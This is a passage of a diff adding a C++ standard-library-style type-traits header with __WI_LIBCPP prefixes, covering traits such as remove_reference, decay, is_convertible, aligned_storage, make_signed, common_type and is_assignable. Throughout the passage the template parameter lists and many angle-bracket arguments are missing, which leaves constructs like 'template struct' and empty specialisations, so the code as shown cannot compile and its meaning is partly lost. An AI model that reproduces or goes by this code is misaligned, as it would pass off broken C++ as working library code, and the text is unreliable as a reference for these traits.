add_cv<_Tp>::type; +#endif + + // remove_reference + + template struct __WI_LIBCPP_TEMPLATE_VIS remove_reference {typedef _Tp type;}; + template struct __WI_LIBCPP_TEMPLATE_VIS remove_reference<_Tp&> {typedef _Tp type;}; +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + template struct __WI_LIBCPP_TEMPLATE_VIS remove_reference<_Tp&&> {typedef _Tp type;}; +#endif + +#if __WI_LIBCPP_STD_VER > 11 + template using remove_reference_t = typename remove_reference<_Tp>::type; +#endif + + // add_lvalue_reference + + template ::value> struct __add_lvalue_reference_impl { typedef _Tp type; }; + template struct __add_lvalue_reference_impl<_Tp, true> { typedef _Tp& type; }; + + template struct __WI_LIBCPP_TEMPLATE_VIS add_lvalue_reference + {typedef typename __add_lvalue_reference_impl<_Tp>::type type;}; + +#if __WI_LIBCPP_STD_VER > 11 + template using add_lvalue_reference_t = typename add_lvalue_reference<_Tp>::type; +#endif + +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + + template ::value> struct __add_rvalue_reference_impl { typedef _Tp type; }; + template struct __add_rvalue_reference_impl<_Tp, true> { typedef _Tp&& type; }; + + template struct __WI_LIBCPP_TEMPLATE_VIS add_rvalue_reference + {typedef typename __add_rvalue_reference_impl<_Tp>::type type;}; + +#if __WI_LIBCPP_STD_VER > 11 + template using add_rvalue_reference_t = typename add_rvalue_reference<_Tp>::type; +#endif + +#endif // __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + + // MSVC has issues compiling some source code that uses the libc++ definition of 'declval' +#ifdef _MSC_VER + template + typename add_rvalue_reference<_Tp>::type declval() WI_NOEXCEPT; +#else + template _Tp&& __declval(int); + template _Tp __declval(long); + + template + decltype(__declval<_Tp>(0)) + declval() WI_NOEXCEPT; +#endif + +#else // __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + + template + typename add_lvalue_reference<_Tp>::type + declval(); + +#endif // __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + + // __uncvref + + template + struct __uncvref { + typedef typename remove_cv::type>::type type; + }; + + template + struct __unconstref { + typedef typename remove_const::type>::type type; + }; + +#ifndef __WI_LIBCPP_CXX03_LANG + template + using __uncvref_t = typename __uncvref<_Tp>::type; +#endif + + // __is_same_uncvref + + template + struct __is_same_uncvref : is_same::type, + typename __uncvref<_Up>::type> {}; + +#if __WI_LIBCPP_STD_VER > 17 + // remove_cvref - same as __uncvref + template + struct remove_cvref : public __uncvref<_Tp> {}; + + template using remove_cvref_t = typename remove_cvref<_Tp>::type; +#endif + + + struct __any + { + __any(...); + }; + + // remove_pointer + + template struct __WI_LIBCPP_TEMPLATE_VIS remove_pointer {typedef _Tp type;}; + template struct __WI_LIBCPP_TEMPLATE_VIS remove_pointer<_Tp*> {typedef _Tp type;}; + template struct __WI_LIBCPP_TEMPLATE_VIS remove_pointer<_Tp* const> {typedef _Tp type;}; + template struct __WI_LIBCPP_TEMPLATE_VIS remove_pointer<_Tp* volatile> {typedef _Tp type;}; + template struct __WI_LIBCPP_TEMPLATE_VIS remove_pointer<_Tp* const volatile> {typedef _Tp type;}; + +#if __WI_LIBCPP_STD_VER > 11 + template using remove_pointer_t = typename remove_pointer<_Tp>::type; +#endif + + // add_pointer + + template ::value || + is_same::type, void>::value> + struct __add_pointer_impl + {typedef typename remove_reference<_Tp>::type* type;}; + template struct __add_pointer_impl<_Tp, false> + {typedef _Tp type;}; + + template struct __WI_LIBCPP_TEMPLATE_VIS add_pointer + {typedef typename __add_pointer_impl<_Tp>::type type;}; + +#if __WI_LIBCPP_STD_VER > 11 + template using add_pointer_t = typename add_pointer<_Tp>::type; +#endif + + // type_identity +#if __WI_LIBCPP_STD_VER > 17 + template struct type_identity { typedef _Tp type; }; + template using type_identity_t = typename type_identity<_Tp>::type; +#endif + + // is_signed + + template ::value> + struct __libcpp_is_signed_impl : public __WI_LIBCPP_BOOL_CONSTANT(_Tp(-1) < _Tp(0)) {}; + + template + struct __libcpp_is_signed_impl<_Tp, false> : public true_type {}; // floating point + + template ::value> + struct __libcpp_is_signed : public __libcpp_is_signed_impl<_Tp> {}; + + template struct __libcpp_is_signed<_Tp, false> : public false_type {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_signed : public __libcpp_is_signed<_Tp> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_signed_v + = is_signed<_Tp>::value; +#endif + + // is_unsigned + + template ::value> + struct __libcpp_is_unsigned_impl : public __WI_LIBCPP_BOOL_CONSTANT(_Tp(0) < _Tp(-1)) {}; + + template + struct __libcpp_is_unsigned_impl<_Tp, false> : public false_type {}; // floating point + + template ::value> + struct __libcpp_is_unsigned : public __libcpp_is_unsigned_impl<_Tp> {}; + + template struct __libcpp_is_unsigned<_Tp, false> : public false_type {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_unsigned : public __libcpp_is_unsigned<_Tp> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_unsigned_v + = is_unsigned<_Tp>::value; +#endif + + // rank + + template struct __WI_LIBCPP_TEMPLATE_VIS rank + : public integral_constant {}; + template struct __WI_LIBCPP_TEMPLATE_VIS rank<_Tp[]> + : public integral_constant::value + 1> {}; + template struct __WI_LIBCPP_TEMPLATE_VIS rank<_Tp[_Np]> + : public integral_constant::value + 1> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR size_t rank_v + = rank<_Tp>::value; +#endif + + // extent + + template struct __WI_LIBCPP_TEMPLATE_VIS extent + : public integral_constant {}; + template struct __WI_LIBCPP_TEMPLATE_VIS extent<_Tp[], 0> + : public integral_constant {}; + template struct __WI_LIBCPP_TEMPLATE_VIS extent<_Tp[], _Ip> + : public integral_constant::value> {}; + template struct __WI_LIBCPP_TEMPLATE_VIS extent<_Tp[_Np], 0> + : public integral_constant {}; + template struct __WI_LIBCPP_TEMPLATE_VIS extent<_Tp[_Np], _Ip> + : public integral_constant::value> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR size_t extent_v + = extent<_Tp, _Ip>::value; +#endif + + // remove_extent + + template struct __WI_LIBCPP_TEMPLATE_VIS remove_extent + {typedef _Tp type;}; + template struct __WI_LIBCPP_TEMPLATE_VIS remove_extent<_Tp[]> + {typedef _Tp type;}; + template struct __WI_LIBCPP_TEMPLATE_VIS remove_extent<_Tp[_Np]> + {typedef _Tp type;}; + +#if __WI_LIBCPP_STD_VER > 11 + template using remove_extent_t = typename remove_extent<_Tp>::type; +#endif + + // remove_all_extents + + template struct __WI_LIBCPP_TEMPLATE_VIS remove_all_extents + {typedef _Tp type;}; + template struct __WI_LIBCPP_TEMPLATE_VIS remove_all_extents<_Tp[]> + {typedef typename remove_all_extents<_Tp>::type type;}; + template struct __WI_LIBCPP_TEMPLATE_VIS remove_all_extents<_Tp[_Np]> + {typedef typename remove_all_extents<_Tp>::type type;}; + +#if __WI_LIBCPP_STD_VER > 11 + template using remove_all_extents_t = typename remove_all_extents<_Tp>::type; +#endif + + // decay + + template + struct __decay { + typedef typename remove_cv<_Up>::type type; + }; + + template + struct __decay<_Up, true> { + public: + typedef typename conditional + < + is_array<_Up>::value, + typename remove_extent<_Up>::type*, + typename conditional + < + is_function<_Up>::value, + typename add_pointer<_Up>::type, + typename remove_cv<_Up>::type + >::type + >::type type; + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS decay + { + private: + typedef typename remove_reference<_Tp>::type _Up; + public: + typedef typename __decay<_Up, __is_referenceable<_Up>::value>::type type; + }; + +#if __WI_LIBCPP_STD_VER > 11 + template using decay_t = typename decay<_Tp>::type; +#endif + + // is_abstract + + template struct __WI_LIBCPP_TEMPLATE_VIS is_abstract + : public integral_constant {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_abstract_v + = is_abstract<_Tp>::value; +#endif + + // is_final + +#if defined(__WI_LIBCPP_HAS_IS_FINAL) + template struct __WI_LIBCPP_TEMPLATE_VIS + __libcpp_is_final : public integral_constant {}; +#else + template struct __WI_LIBCPP_TEMPLATE_VIS + __libcpp_is_final : public false_type {}; +#endif + +#if defined(__WI_LIBCPP_HAS_IS_FINAL) && __WI_LIBCPP_STD_VER > 11 + template struct __WI_LIBCPP_TEMPLATE_VIS + is_final : public integral_constant {}; +#endif + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_final_v + = is_final<_Tp>::value; +#endif + + // is_aggregate +#if __WI_LIBCPP_STD_VER > 14 && !defined(__WI_LIBCPP_HAS_NO_IS_AGGREGATE) + + template struct __WI_LIBCPP_TEMPLATE_VIS + is_aggregate : public integral_constant {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR constexpr bool is_aggregate_v + = is_aggregate<_Tp>::value; +#endif + +#endif // __WI_LIBCPP_STD_VER > 14 && !defined(__WI_LIBCPP_HAS_NO_IS_AGGREGATE) + + // is_base_of + +#ifdef __WI_LIBCPP_HAS_IS_BASE_OF + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_base_of + : public integral_constant {}; + +#else // __WI_LIBCPP_HAS_IS_BASE_OF + + namespace __is_base_of_imp + { + template + struct _Dst + { + _Dst(const volatile _Tp &); + }; + template + struct _Src + { + operator const volatile _Tp &(); + template operator const _Dst<_Up> &(); + }; + template struct __one { typedef char type; }; + template typename __one(declval<_Src<_Dp> >()))>::type __test(int); + template __two __test(...); + } + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_base_of + : public integral_constant::value && + sizeof(__is_base_of_imp::__test<_Bp, _Dp>(0)) == 2> {}; + +#endif // __WI_LIBCPP_HAS_IS_BASE_OF + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_base_of_v + = is_base_of<_Bp, _Dp>::value; +#endif + + // is_convertible + +#if __WI_HAS_FEATURE_IS_CONVERTIBLE_TO && !defined(__WI_LIBCPP_USE_IS_CONVERTIBLE_FALLBACK) + + template struct __WI_LIBCPP_TEMPLATE_VIS is_convertible + : public integral_constant::value> {}; + +#else // __WI_HAS_FEATURE_IS_CONVERTIBLE_TO + + namespace __is_convertible_imp + { + template void __test_convert(_Tp); + + template + struct __is_convertible_test : public false_type {}; + + template + struct __is_convertible_test<_From, _To, + decltype(__is_convertible_imp::__test_convert<_To>(declval<_From>()))> : public true_type + {}; + + template ::value, + bool _IsFunction = is_function<_Tp>::value, + bool _IsVoid = is_void<_Tp>::value> + struct __is_array_function_or_void {enum {value = 0};}; + template struct __is_array_function_or_void<_Tp, true, false, false> {enum {value = 1};}; + template struct __is_array_function_or_void<_Tp, false, true, false> {enum {value = 2};}; + template struct __is_array_function_or_void<_Tp, false, false, true> {enum {value = 3};}; + } + + template ::type>::value> + struct __is_convertible_check + { + static const size_t __v = 0; + }; + + template + struct __is_convertible_check<_Tp, 0> + { + static const size_t __v = sizeof(_Tp); + }; + + template ::value, + unsigned _T2_is_array_function_or_void = __is_convertible_imp::__is_array_function_or_void<_T2>::value> + struct __is_convertible + : public integral_constant::value +#if defined(__WI_LIBCPP_HAS_NO_RVALUE_REFERENCES) + && !(!is_function<_T1>::value && !is_reference<_T1>::value && is_reference<_T2>::value + && (!is_const::type>::value + || is_volatile::type>::value) + && (is_same::type, + typename remove_cv::type>::type>::value + || is_base_of::type, _T1>::value)) +#endif + > + {}; + + template struct __is_convertible<_T1, _T2, 0, 1> : public false_type {}; + template struct __is_convertible<_T1, _T2, 1, 1> : public false_type {}; + template struct __is_convertible<_T1, _T2, 2, 1> : public false_type {}; + template struct __is_convertible<_T1, _T2, 3, 1> : public false_type {}; + + template struct __is_convertible<_T1, _T2, 0, 2> : public false_type {}; + template struct __is_convertible<_T1, _T2, 1, 2> : public false_type {}; + template struct __is_convertible<_T1, _T2, 2, 2> : public false_type {}; + template struct __is_convertible<_T1, _T2, 3, 2> : public false_type {}; + + template struct __is_convertible<_T1, _T2, 0, 3> : public false_type {}; + template struct __is_convertible<_T1, _T2, 1, 3> : public false_type {}; + template struct __is_convertible<_T1, _T2, 2, 3> : public false_type {}; + template struct __is_convertible<_T1, _T2, 3, 3> : public true_type {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_convertible + : public __is_convertible<_T1, _T2> + { + static const size_t __complete_check1 = __is_convertible_check<_T1>::__v; + static const size_t __complete_check2 = __is_convertible_check<_T2>::__v; + }; + +#endif // __WI_HAS_FEATURE_IS_CONVERTIBLE_TO + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_convertible_v + = is_convertible<_From, _To>::value; +#endif + + // is_empty + +#if __WI_HAS_FEATURE_IS_EMPTY || (__WI_GNUC_VER >= 407) + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_empty + : public integral_constant {}; + +#else // __WI_HAS_FEATURE_IS_EMPTY + + template + struct __is_empty1 + : public _Tp + { + double __lx; + }; + + struct __is_empty2 + { + double __lx; + }; + + template ::value> + struct __libcpp_empty : public integral_constant) == sizeof(__is_empty2)> {}; + + template struct __libcpp_empty<_Tp, false> : public false_type {}; + + template struct __WI_LIBCPP_TEMPLATE_VIS is_empty : public __libcpp_empty<_Tp> {}; + +#endif // __WI_HAS_FEATURE_IS_EMPTY + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_empty_v + = is_empty<_Tp>::value; +#endif + + // is_polymorphic + +#if __WI_HAS_FEATURE_IS_POLYMORPHIC + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_polymorphic + : public integral_constant {}; + +#else + + template char &__is_polymorphic_impl( + typename enable_if(declval<_Tp*>())) != 0, + int>::type); + template __two &__is_polymorphic_impl(...); + + template struct __WI_LIBCPP_TEMPLATE_VIS is_polymorphic + : public integral_constant(0)) == 1> {}; + +#endif // __WI_HAS_FEATURE_IS_POLYMORPHIC + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_polymorphic_v + = is_polymorphic<_Tp>::value; +#endif + + // has_virtual_destructor + +#if __WI_HAS_FEATURE_HAS_VIRTUAL_DESTRUCTOR || (__WI_GNUC_VER >= 403) + + template struct __WI_LIBCPP_TEMPLATE_VIS has_virtual_destructor + : public integral_constant {}; + +#else + + template struct __WI_LIBCPP_TEMPLATE_VIS has_virtual_destructor + : public false_type {}; + +#endif + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool has_virtual_destructor_v + = has_virtual_destructor<_Tp>::value; +#endif + + // has_unique_object_representations + +#if __WI_LIBCPP_STD_VER > 14 && defined(__WI_LIBCPP_HAS_UNIQUE_OBJECT_REPRESENTATIONS) + + template struct __WI_LIBCPP_TEMPLATE_VIS has_unique_object_representations + : public integral_constant>)> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool has_unique_object_representations_v + = has_unique_object_representations<_Tp>::value; +#endif + +#endif + + // alignment_of + + template struct __WI_LIBCPP_TEMPLATE_VIS alignment_of + : public integral_constant {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR size_t alignment_of_v + = alignment_of<_Tp>::value; +#endif + + // aligned_storage + + template + struct __type_list + { + typedef _Hp _Head; + typedef _Tp _Tail; + }; + + struct __nat + { +#ifndef __WI_LIBCPP_CXX03_LANG + __nat() = delete; + __nat(const __nat&) = delete; + __nat& operator=(const __nat&) = delete; + ~__nat() = delete; +#endif + }; + + template + struct __align_type + { + static const size_t value = alignment_of<_Tp>::value; + typedef _Tp type; + }; + + struct __struct_double {long double __lx;}; + struct __struct_double4 {double __lx[4];}; + + typedef + __type_list<__align_type, + __type_list<__align_type, + __type_list<__align_type, + __type_list<__align_type, + __type_list<__align_type, + __type_list<__align_type, + __type_list<__align_type, + __type_list<__align_type<__struct_double>, + __type_list<__align_type<__struct_double4>, + __type_list<__align_type, + __nat + > > > > > > > > > > __all_types; + + template struct __find_pod; + + template + struct __find_pod<__type_list<_Hp, __nat>, _Align> + { + typedef typename conditional< + _Align == _Hp::value, + typename _Hp::type, + void + >::type type; + }; + + template + struct __find_pod<__type_list<_Hp, _Tp>, _Align> + { + typedef typename conditional< + _Align == _Hp::value, + typename _Hp::type, + typename __find_pod<_Tp, _Align>::type + >::type type; + }; + + template + struct __has_pod_with_align : public integral_constant::type, void>::value> {}; + + template struct __find_max_align; + + template + struct __find_max_align<__type_list<_Hp, __nat>, _Len> : public integral_constant {}; + + template + struct __select_align + { + private: + static const size_t __min = _A2 < _A1 ? _A2 : _A1; + static const size_t __max = _A1 < _A2 ? _A2 : _A1; + public: + static const size_t value = _Len < __max ? __min : __max; + }; + + template + struct __find_max_align<__type_list<_Hp, _Tp>, _Len> + : public integral_constant::value>::value> {}; + + template ::value> + struct __aligned_storage + { + typedef typename __find_pod<__all_types, _Align>::type _Aligner; + static_assert(!is_void<_Aligner>::value, ""); + union type + { + _Aligner __align; + unsigned char __data[(_Len + _Align - 1)/_Align * _Align]; + }; + }; + +#define __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(n) \ + template \ + struct __aligned_storage<_Len, n, false>\ + {\ + struct __WI_ALIGNAS(n) type\ + {\ + unsigned char __lx[(_Len + n - 1)/n * n];\ + };\ + } + + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x1); + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x2); + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x4); + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x8); + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x10); + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x20); + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x40); + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x80); + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x100); + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x200); + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x400); + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x800); + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x1000); + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x2000); + // PE/COFF does not support alignment beyond 8192 (=0x2000) +#if !defined(__WI_LIBCPP_OBJECT_FORMAT_COFF) + __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION(0x4000); +#endif // !defined(__WI_LIBCPP_OBJECT_FORMAT_COFF) + +#undef __WI_CREATE_ALIGNED_STORAGE_SPECIALIZATION + + template ::value> + struct __WI_LIBCPP_TEMPLATE_VIS aligned_storage : public __aligned_storage<_Len, _Align> {}; + +#if __WI_LIBCPP_STD_VER > 11 + template ::value> + using aligned_storage_t = typename aligned_storage<_Len, _Align>::type; +#endif + +#ifndef __WI_LIBCPP_HAS_NO_VARIADICS + + // aligned_union + + template + struct __static_max; + + template + struct __static_max<_I0> + { + static const size_t value = _I0; + }; + + template + struct __static_max<_I0, _I1, _In...> + { + static const size_t value = _I0 >= _I1 ? __static_max<_I0, _In...>::value : + __static_max<_I1, _In...>::value; + }; + + template + struct aligned_union + { + static const size_t alignment_value = __static_max<__alignof__(_Type0), + __alignof__(_Types)...>::value; + static const size_t __len = __static_max<_Len, sizeof(_Type0), + sizeof(_Types)...>::value; + typedef typename aligned_storage<__len, alignment_value>::type type; + }; + +#if __WI_LIBCPP_STD_VER > 11 + template using aligned_union_t = typename aligned_union<_Len, _Types...>::type; +#endif + +#endif // __WI_LIBCPP_HAS_NO_VARIADICS + + template + struct __numeric_type + { + static void __test(...); + static float __test(float); + static double __test(char); + static double __test(int); + static double __test(unsigned); + static double __test(long); + static double __test(unsigned long); + static double __test(long long); + static double __test(unsigned long long); + static double __test(double); + static long double __test(long double); + + typedef decltype(__test(declval<_Tp>())) type; + static const bool value = !is_same::value; + }; + + template <> + struct __numeric_type + { + static const bool value = true; + }; + + // __promote + + template ::value && + __numeric_type<_A2>::value && + __numeric_type<_A3>::value> + class __promote_imp + { + public: + static const bool value = false; + }; + + template + class __promote_imp<_A1, _A2, _A3, true> + { + private: + typedef typename __promote_imp<_A1>::type __type1; + typedef typename __promote_imp<_A2>::type __type2; + typedef typename __promote_imp<_A3>::type __type3; + public: + typedef decltype(__type1() + __type2() + __type3()) type; + static const bool value = true; + }; + + template + class __promote_imp<_A1, _A2, void, true> + { + private: + typedef typename __promote_imp<_A1>::type __type1; + typedef typename __promote_imp<_A2>::type __type2; + public: + typedef decltype(__type1() + __type2()) type; + static const bool value = true; + }; + + template + class __promote_imp<_A1, void, void, true> + { + public: + typedef typename __numeric_type<_A1>::type type; + static const bool value = true; + }; + + template + class __promote : public __promote_imp<_A1, _A2, _A3> {}; + + // make_signed / make_unsigned + + typedef + __type_list +#endif + > > > > > __signed_types; + + typedef + __type_list +#endif + > > > > > __unsigned_types; + + template struct __find_first; + + template + struct __find_first<__type_list<_Hp, _Tp>, _Size, true> + { + typedef _Hp type; + }; + + template + struct __find_first<__type_list<_Hp, _Tp>, _Size, false> + { + typedef typename __find_first<_Tp, _Size>::type type; + }; + + template ::type>::value, + bool = is_volatile::type>::value> + struct __apply_cv + { + typedef _Up type; + }; + + template + struct __apply_cv<_Tp, _Up, true, false> + { + typedef const _Up type; + }; + + template + struct __apply_cv<_Tp, _Up, false, true> + { + typedef volatile _Up type; + }; + + template + struct __apply_cv<_Tp, _Up, true, true> + { + typedef const volatile _Up type; + }; + + template + struct __apply_cv<_Tp&, _Up, false, false> + { + typedef _Up& type; + }; + + template + struct __apply_cv<_Tp&, _Up, true, false> + { + typedef const _Up& type; + }; + + template + struct __apply_cv<_Tp&, _Up, false, true> + { + typedef volatile _Up& type; + }; + + template + struct __apply_cv<_Tp&, _Up, true, true> + { + typedef const volatile _Up& type; + }; + + template ::value || is_enum<_Tp>::value> + struct __make_signed {}; + + template + struct __make_signed<_Tp, true> + { + typedef typename __find_first<__signed_types, sizeof(_Tp)>::type type; + }; + + template <> struct __make_signed {}; + template <> struct __make_signed< signed short, true> {typedef short type;}; + template <> struct __make_signed {typedef short type;}; + template <> struct __make_signed< signed int, true> {typedef int type;}; + template <> struct __make_signed {typedef int type;}; + template <> struct __make_signed< signed long, true> {typedef long type;}; + template <> struct __make_signed {typedef long type;}; + template <> struct __make_signed< signed long long, true> {typedef long long type;}; + template <> struct __make_signed {typedef long long type;}; +#ifndef __WI_LIBCPP_HAS_NO_INT128 + template <> struct __make_signed<__int128_t, true> {typedef __int128_t type;}; + template <> struct __make_signed<__uint128_t, true> {typedef __int128_t type;}; +#endif + + template + struct __WI_LIBCPP_TEMPLATE_VIS make_signed + { + typedef typename __apply_cv<_Tp, typename __make_signed::type>::type>::type type; + }; + +#if __WI_LIBCPP_STD_VER > 11 + template using make_signed_t = typename make_signed<_Tp>::type; +#endif + + template ::value || is_enum<_Tp>::value> + struct __make_unsigned {}; + + template + struct __make_unsigned<_Tp, true> + { + typedef typename __find_first<__unsigned_types, sizeof(_Tp)>::type type; + }; + + template <> struct __make_unsigned {}; + template <> struct __make_unsigned< signed short, true> {typedef unsigned short type;}; + template <> struct __make_unsigned {typedef unsigned short type;}; + template <> struct __make_unsigned< signed int, true> {typedef unsigned int type;}; + template <> struct __make_unsigned {typedef unsigned int type;}; + template <> struct __make_unsigned< signed long, true> {typedef unsigned long type;}; + template <> struct __make_unsigned {typedef unsigned long type;}; + template <> struct __make_unsigned< signed long long, true> {typedef unsigned long long type;}; + template <> struct __make_unsigned {typedef unsigned long long type;}; +#ifndef __WI_LIBCPP_HAS_NO_INT128 + template <> struct __make_unsigned<__int128_t, true> {typedef __uint128_t type;}; + template <> struct __make_unsigned<__uint128_t, true> {typedef __uint128_t type;}; +#endif + + template + struct __WI_LIBCPP_TEMPLATE_VIS make_unsigned + { + typedef typename __apply_cv<_Tp, typename __make_unsigned::type>::type>::type type; + }; + +#if __WI_LIBCPP_STD_VER > 11 + template using make_unsigned_t = typename make_unsigned<_Tp>::type; +#endif + +#ifdef __WI_LIBCPP_HAS_NO_VARIADICS + + template + struct __WI_LIBCPP_TEMPLATE_VIS common_type + { + public: + typedef typename common_type::type, _Vp>::type type; + }; + + template <> + struct __WI_LIBCPP_TEMPLATE_VIS common_type + { + public: + typedef void type; + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS common_type<_Tp, void, void> + { + public: + typedef typename common_type<_Tp, _Tp>::type type; + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS common_type<_Tp, _Up, void> + { + typedef typename decay() : declval<_Up>() + )>::type type; + }; + +#else // __WI_LIBCPP_HAS_NO_VARIADICS + + // bullet 1 - sizeof...(Tp) == 0 + + template + struct __WI_LIBCPP_TEMPLATE_VIS common_type {}; + + // bullet 2 - sizeof...(Tp) == 1 + + template + struct __WI_LIBCPP_TEMPLATE_VIS common_type<_Tp> + : public common_type<_Tp, _Tp> {}; + + // bullet 3 - sizeof...(Tp) == 2 + + template + struct __common_type2_imp {}; + + template + struct __common_type2_imp<_Tp, _Up, + typename __void_t() : declval<_Up>() + )>::type> + { + typedef typename decay() : declval<_Up>() + )>::type type; + }; + + template ::type, + class _DUp = typename decay<_Up>::type> + using __common_type2 = + typename conditional< + is_same<_Tp, _DTp>::value && is_same<_Up, _DUp>::value, + __common_type2_imp<_Tp, _Up>, + common_type<_DTp, _DUp> + >::type; + + template + struct __WI_LIBCPP_TEMPLATE_VIS common_type<_Tp, _Up> + : __common_type2<_Tp, _Up> {}; + + // bullet 4 - sizeof...(Tp) > 2 + + template struct __common_types; + + template + struct __common_type_impl {}; + + template + struct __common_type_impl< + __common_types<_Tp, _Up>, + typename __void_t::type>::type> + { + typedef typename common_type<_Tp, _Up>::type type; + }; + + template + struct __common_type_impl<__common_types<_Tp, _Up, _Vp...>, + typename __void_t::type>::type> + : __common_type_impl< + __common_types::type, _Vp...> > + { + + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS common_type<_Tp, _Up, _Vp...> + : __common_type_impl<__common_types<_Tp, _Up, _Vp...> > {}; + +#if __WI_LIBCPP_STD_VER > 11 + template using common_type_t = typename common_type<_Tp...>::type; +#endif + +#endif // __WI_LIBCPP_HAS_NO_VARIADICS + + // is_assignable + + template struct __select_2nd { typedef _Tp type; }; + + template + typename __select_2nd() = declval<_Arg>())), true_type>::type + __is_assignable_test(int); + + template + false_type __is_assignable_test(...); + + + template ::value || is_void<_Arg>::value> + struct __is_assignable_imp + : public decltype((__is_assignable_test<_Tp, _Arg>(0))) {}; + + template + struct __is_assignable_imp<_Tp, _Arg, true> + : public false_type + { + }; + + template + struct is_assignable + : public __is_assignable_imp<_Tp, _Arg> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_assignable_v + = is_assignable<_Tp, _Arg>::value; +#endif + + // is_copy_assignable + + template struct __WI_LIBCPP_TEMPLATE_VIS is_copy_assignable + : public is_assignable::type, + typename add_lvalue_reference::type>::type> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_copy_assignable_v + = is_copy_assignable<_Tp>::value; +#endif + + // is_move_assignable + + template struct __WI_LIBCPP_TEMPLATE_VIS is_move_assignable +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + : public is_assignable::type, + typename add_rvalue_reference<_Tp>::type> {}; +#else + : public is_copy_assignable<_Tp> {}; +#endif + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool 